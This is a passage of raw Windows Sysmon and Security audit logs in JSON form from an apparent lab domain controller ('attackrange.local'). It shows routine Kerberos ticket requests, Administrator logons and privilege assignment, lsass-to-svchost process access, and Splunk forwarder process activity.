M32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:55:40","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:39","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4368,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:55:39.053\r\nSourceProcessGUID: {90617006-413A-5F2D-0000-0010B71A0600}\r\nSourceProcessId: 1392\r\nSourceThreadId: 4384\r\nSourceImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe\r\nTargetProcessGUID: {90617006-407B-5F2D-0000-0010B4110500}\r\nTargetProcessId: 5056\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nGrantedAccess: 0x101400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe+55e675|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe+55e1a6|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe+6b453|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe+8e8530|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:55:39.053","SourceProcessGUID":"{90617006-413A-5F2D-0000-0010B71A0600}","SourceProcessId":"1392","SourceThreadId":"4384","SourceImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe","TargetProcessGUID":"{90617006-407B-5F2D-0000-0010B4110500}","TargetProcessId":"5056","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","GrantedAccess":"0x101400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe+55e675|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe+55e1a6|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe+6b453|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe+8e8530|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:55:40","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:39","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4369,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:55:39.646\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 104\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00105BD20000}\r\nTargetProcessId: 1368\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+1b05d|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:55:39.646","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"104","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00105BD20000}","TargetProcessId":"1368","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+1b05d|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:55:40","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:39","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4768,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":14339,"OpcodeValue":0,"RecordNumber":221871,"ProcessID":860,"ThreadID":104,"Channel":"Security","Message":"A Kerberos authentication ticket (TGT) was requested.\r\n\r\nAccount Information:\r\n\tAccount Name:\t\tAdministrator\r\n\tSupplied Realm Name:\tATTACKRANGE\r\n\tUser ID:\t\t\tS-1-5-21-2899776527-1222892863-2568484180-500\r\n\r\nService Information:\r\n\tService Name:\t\tkrbtgt\r\n\tService ID:\t\tS-1-5-21-2899776527-1222892863-2568484180-502\r\n\r\nNetwork Information:\r\n\tClient Address:\t\t::1\r\n\tClient Port:\t\t0\r\n\r\nAdditional Information:\r\n\tTicket Options:\t\t0x40810010\r\n\tResult Code:\t\t0x0\r\n\tTicket Encryption Type:\t0x12\r\n\tPre-Authentication Type:\t2\r\n\r\nCertificate Information:\r\n\tCertificate Issuer Name:\t\t\r\n\tCertificate Serial Number:\t\r\n\tCertificate Thumbprint:\t\t\r\n\r\nCertificate information is only provided if a certificate was used for pre-authentication.\r\n\r\nPre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.","Category":"Kerberos Authentication Service","Opcode":"Info","TargetUserName":"Administrator","TargetDomainName":"ATTACKRANGE","TargetSid":"S-1-5-21-2899776527-1222892863-2568484180-500","ServiceName":"krbtgt","ServiceSid":"S-1-5-21-2899776527-1222892863-2568484180-502","TicketOptions":"0x40810010","Status":"0x0","TicketEncryptionType":"0x12","PreAuthType":"2","IpAddress":"::1","IpPort":"0","EventReceivedTime":"2020-08-07 11:55:40","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:39","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4769,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":14337,"OpcodeValue":0,"RecordNumber":221872,"ProcessID":860,"ThreadID":104,"Channel":"Security","Message":"A Kerberos service ticket was requested.\r\n\r\nAccount Information:\r\n\tAccount Name:\t\tAdministrator@ATTACKRANGE.LOCAL\r\n\tAccount Domain:\t\tATTACKRANGE.LOCAL\r\n\tLogon GUID:\t\t{AA8B77B7-7DBB-5A9E-C022-2AEC171E18BC}\r\n\r\nService Information:\r\n\tService Name:\t\tWIN-DC-9849183$\r\n\tService ID:\t\tS-1-5-21-2899776527-1222892863-2568484180-1008\r\n\r\nNetwork Information:\r\n\tClient Address:\t\t::1\r\n\tClient Port:\t\t0\r\n\r\nAdditional Information:\r\n\tTicket Options:\t\t0x40810000\r\n\tTicket Encryption Type:\t0x12\r\n\tFailure Code:\t\t0x0\r\n\tTransited Services:\t-\r\n\r\nThis event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested.\r\n\r\nThis event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.\r\n\r\nTicket options, encryption types, and failure codes are defined in RFC 4120.","Category":"Kerberos Service Ticket Operations","Opcode":"Info","TargetUserName":"Administrator@ATTACKRANGE.LOCAL","TargetDomainName":"ATTACKRANGE.LOCAL","ServiceName":"WIN-DC-9849183$","ServiceSid":"S-1-5-21-2899776527-1222892863-2568484180-1008","TicketOptions":"0x40810000","TicketEncryptionType":"0x12","IpAddress":"::1","IpPort":"0","Status":"0x0","LogonGuid":"{AA8B77B7-7DBB-5A9E-C022-2AEC171E18BC}","TransmittedServices":"-","EventReceivedTime":"2020-08-07 11:55:40","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:39","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4648,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":12544,"OpcodeValue":0,"RecordNumber":221873,"ActivityID":"{D168B27F-6CB0-0001-80B2-68D1B06CD601}","ProcessID":860,"ThreadID":104,"Channel":"Security","Message":"A logon was attempted using explicit credentials.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-20\r\n\tAccount Name:\t\tWIN-DC-9849183$\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x3E4\r\n\tLogon GUID:\t\t{00000000-0000-0000-0000-000000000000}\r\n\r\nAccount Whose Credentials Were Used:\r\n\tAccount Name:\t\tAdministrator\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon GUID:\t\t{AA8B77B7-7DBB-5A9E-C022-2AEC171E18BC}\r\n\r\nTarget Server:\r\n\tTarget Server Name:\tlocalhost\r\n\tAdditional Information:\tlocalhost\r\n\r\nProcess Information:\r\n\tProcess ID:\t\t0x558\r\n\tProcess Name:\t\tC:\\Windows\\System32\\svchost.exe\r\n\r\nNetwork Information:\r\n\tNetwork Address:\t-\r\n\tPort:\t\t\t-\r\n\r\nThis event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.","Category":"Logon","Opcode":"Info","SubjectUserSid":"S-1-5-20","SubjectUserName":"WIN-DC-9849183$","SubjectDomainName":"ATTACKRANGE","SubjectLogonId":"0x3e4","LogonGuid":"{00000000-0000-0000-0000-000000000000}","TargetUserName":"Administrator","TargetDomainName":"ATTACKRANGE","TargetLogonGuid":"{AA8B77B7-7DBB-5A9E-C022-2AEC171E18BC}","TargetServerName":"localhost","TargetInfo":"localhost","ProcessName":"C:\\Windows\\System32\\svchost.exe","IpAddress":"-","IpPort":"-","EventReceivedTime":"2020-08-07 11:55:40","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:39","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4624,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":2,"Task":12544,"OpcodeValue":0,"RecordNumber":221874,"ActivityID":"{D168B27F-6CB0-0001-80B2-68D1B06CD601}","ProcessID":860,"ThreadID":104,"Channel":"Security","Message":"An account was successfully logged on.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-20\r\n\tAccount Name:\t\tWIN-DC-9849183$\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x3E4\r\n\r\nLogon Information:\r\n\tLogon Type:\t\t3\r\n\tRestricted Admin Mode:\t-\r\n\tVirtual Account:\t\tNo\r\n\tElevated Token:\t\tYes\r\n\r\nImpersonation Level:\t\tImpersonation\r\n\r\nNew Logon:\r\n\tSecurity ID:\t\tS-1-5-21-2899776527-1222892863-2568484180-500\r\n\tAccount Name:\t\tAdministrator\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x62C5E\r\n\tLinked Logon ID:\t\t0x0\r\n\tNetwork Account Name:\t-\r\n\tNetwork Account Domain:\t-\r\n\tLogon GUID:\t\t{AA8B77B7-7DBB-5A9E-C022-2AEC171E18BC}\r\n\r\nProcess Information:\r\n\tProcess ID:\t\t0x558\r\n\tProcess Name:\t\tC:\\Windows\\System32\\svchost.exe\r\n\r\nNetwork Information:\r\n\tWorkstation Name:\tWIN-DC-9849183\r\n\tSource Network Address:\t-\r\n\tSource Port:\t\t-\r\n\r\nDetailed Authentication Information:\r\n\tLogon Process:\t\tAdvapi \r\n\tAuthentication Package:\tNegotiate\r\n\tTransited Services:\t-\r\n\tPackage Name (NTLM only):\t-\r\n\tKey Length:\t\t0\r\n\r\nThis event is generated when a logon session is created. It is generated on the computer that was accessed.\r\n\r\nThe subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\r\n\r\nThe logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).\r\n\r\nThe New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.\r\n\r\nThe network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\r\n\r\nThe impersonation level field indicates the extent to which a process in the logon session can impersonate.\r\n\r\nThe authentication information fields provide detailed information about this specific logon request.\r\n\t- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.\r\n\t- Transited services indicate which intermediate services have participated in this logon request.\r\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\r\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.","Category":"Logon","Opcode":"Info","SubjectUserSid":"S-1-5-20","SubjectUserName":"WIN-DC-9849183$","SubjectDomainName":"ATTACKRANGE","SubjectLogonId":"0x3e4","TargetUserSid":"S-1-5-21-2899776527-1222892863-2568484180-500","TargetUserName":"Administrator","TargetDomainName":"ATTACKRANGE","TargetLogonId":"0x62c5e","LogonType":"3","LogonProcessName":"Advapi ","AuthenticationPackageName":"Negotiate","WorkstationName":"WIN-DC-9849183","LogonGuid":"{AA8B77B7-7DBB-5A9E-C022-2AEC171E18BC}","TransmittedServices":"-","LmPackageName":"-","KeyLength":"0","ProcessName":"C:\\Windows\\System32\\svchost.exe","IpAddress":"-","IpPort":"-","ImpersonationLevel":"%%1833","RestrictedAdminMode":"-","TargetOutboundUserName":"-","TargetOutboundDomainName":"-","VirtualAccount":"%%1843","TargetLinkedLogonId":"0x0","ElevatedToken":"%%1842","EventReceivedTime":"2020-08-07 11:55:40","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:39","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4672,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":12548,"OpcodeValue":0,"RecordNumber":221875,"ActivityID":"{D168B27F-6CB0-0001-80B2-68D1B06CD601}","ProcessID":860,"ThreadID":104,"Channel":"Security","Message":"Special privileges assigned to new logon.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-21-2899776527-1222892863-2568484180-500\r\n\tAccount Name:\t\tAdministrator\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x62C5E\r\n\r\nPrivileges:\t\tSeSecurityPrivilege\r\n\t\t\tSeTakeOwnershipPrivilege\r\n\t\t\tSeLoadDriverPrivilege\r\n\t\t\tSeBackupPrivilege\r\n\t\t\tSeRestorePrivilege\r\n\t\t\tSeDebugPrivilege\r\n\t\t\tSeSystemEnvironmentPrivilege\r\n\t\t\tSeEnableDelegationPrivilege\r\n\t\t\tSeImpersonatePrivilege\r\n\t\t\tSeDelegateSessionUserImpersonatePrivilege","Category":"Special Logon","Opcode":"Info","SubjectUserSid":"S-1-5-21-2899776527-1222892863-2568484180-500","SubjectUserName":"Administrator","SubjectDomainName":"ATTACKRANGE","SubjectLogonId":"0x62c5e","PrivilegeList":"SeSecurityPrivilege\r\n\t\t\tSeTakeOwnershipPrivilege\r\n\t\t\tSeLoadDriverPrivilege\r\n\t\t\tSeBackupPrivilege\r\n\t\t\tSeRestorePrivilege\r\n\t\t\tSeDebugPrivilege\r\n\t\t\tSeSystemEnvironmentPrivilege\r\n\t\t\tSeEnableDelegationPrivilege\r\n\t\t\tSeImpersonatePrivilege\r\n\t\t\tSeDelegateSessionUserImpersonatePrivilege","EventReceivedTime":"2020-08-07 11:55:40","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:39","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4370,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:55:39.646\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 104\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00105BD20000}\r\nTargetProcessId: 1368\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1a4e6|C:\\Windows\\system32\\lsasrv.dll+1ba8f|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:55:39.646","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"104","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00105BD20000}","TargetProcessId":"1368","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1a4e6|C:\\Windows\\system32\\lsasrv.dll+1ba8f|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:55:40","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:39","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4371,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:55:39.646\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 104\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00105BD20000}\r\nTargetProcessId: 1368\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1e0a8|C:\\Windows\\system32\\lsasrv.dll+1d2d1|C:\\Windows\\system32\\lsasrv.dll+1bb00|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:55:39.646","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"104","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00105BD20000}","TargetProcessId":"1368","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1e0a8|C:\\Windows\\system32\\lsasrv.dll+1d2d1|C:\\Windows\\system32\\lsasrv.dll+1bb00|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:55:40","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:39","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":1,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":1,"OpcodeValue":0,"RecordNumber":4372,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process Create:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:55:39.710\r\nProcessGuid: {90617006-413B-5F2D-0000-0010902C0600}\r\nProcessId: 4360\r\nImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe\r\nFileVersion: ?\r\nDescription: ?\r\nProduct: ?\r\nCompany: ?\r\nOriginalFileName: ?\r\nCommandLine: \"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe\" --ps2\r\nCurrentDirectory: C:\\Windows\\system32\\\r\nUser: NT AUTHORITY\\SYSTEM\r\nLogonGuid: {90617006-3FD2-5F2D-0000-0020E7030000}\r\nLogonId: 0x3E7\r\nTerminalSessionId: 0\r\nIntegrityLevel: System\r\nHashes: MD5=030CC9FD3784684043D9236FF16904DE,SHA256=6C84A212BD1EA1FCC493E9F8ED1C1507E2773F6FE71ACDE265067F3153BE6241,IMPHASH=45491F0E80AC016364EB8FB78BD23A1C\r\nParentProcessGuid: {90617006-407B-5F2D-0000-0010B4110500}\r\nParentProcessId: 5056\r\nParentImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nParentCommandLine: \"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\" service","Category":"Process Create (rule: ProcessCreate)","Opcode":"Info","UtcTime":"2020-08-07 11:55:39.710","ProcessGuid":"{90617006-413B-5F2D-0000-0010902C0600}","Image":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe","FileVersion":"?","Description":"?","Product":"?","Company":"?","OriginalFileName":"?","CommandLine":"\"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe\" --ps2","CurrentDirectory":"C:\\Windows\\system32\\","User":"NT 